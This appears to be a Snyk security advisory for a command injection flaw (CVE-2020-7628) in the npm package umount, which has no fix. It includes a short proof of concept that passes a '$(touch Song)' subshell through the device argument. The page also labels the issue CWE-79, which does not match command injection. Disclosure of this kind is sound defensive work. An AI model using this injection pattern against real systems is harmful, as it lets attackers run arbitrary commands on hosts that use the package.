Command Injection Affecting umount package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.34% (72nd percentile)

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  • Snyk IDSNYK-JS-UMOUNT-564265
  • published2 Apr 2020
  • disclosed2 Apr 2020
  • creditJHU System Security Lab

Introduced: 2 Apr 2020

CVE-2020-7628  (opens in a new tab)
CWE-79  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for umount.

Overview

umount is a device in UNIX, do nothing in Windows.

Affected versions of this package are vulnerable to Command Injection. The argument device can be controlled by users without any sanitization.

PoC

var root = require("umount");
var device = '\" $(touch Song) \"';
root.umount(device, function(){});

the injection point is located in line 52 of index file build/umount.js in the exported function umount(device, callback).

CVSS Scores

version 3.1